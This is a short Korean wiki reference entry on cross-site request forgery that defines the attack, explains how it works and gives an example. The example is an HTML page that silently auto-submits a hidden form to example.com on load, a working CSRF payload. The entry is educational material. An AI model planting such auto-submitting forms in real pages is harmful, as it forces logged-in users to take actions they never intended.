CSRF

1 개요[ | ]

cross-site request forgery (CSRF), (XSRF), one-click attack, session riding
사이트 간 요청 위조, 크로스 사이트 요청 위조
  • 의도하지 않게 게시판에 글을 작성하거나, 쇼핑을 하게 하는 등의 공격
  • 인증된 사용자로 하여금 공격자가 원하는 명령을 대신 수행하게 하는 공격
  • 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격
  • XSS에 취약하면 공격이 용이함

2 원리[ | ]

  • 공격자가 공격용 웹페이지를 작성하여 공개한다.
  • 제3자가 웹페이지에 접속하면, 제3자는 임의의 HTTP요청(공격)을 송신하게 된다.

3 예시[ | ]

<!DOCTYPE html>
<html lang="ko">
<head>
  <title>공격용 웹페이지</title>
</head>
<body onload="document.attackform.submit();">
<form name="attackform" method="post" action="http://example.com/bbs/register.cgi">
  <input type="hidden" name="title" value="제목">
  <input type="hidden" name="article" value="본문">
  <input type="submit" value="제출">
</form>
</body>
</html>
→ 웹페이지가 로드되면(onload) 의도하지 않게 example.com에 글을 남기도록 폼 내용을 제출하게 됨

4 같이 보기[ | ]

5 참고[ | ]

문서 댓글 ({{ doc_comments.length }})
{{ comment.name }} {{ comment.created | snstime }}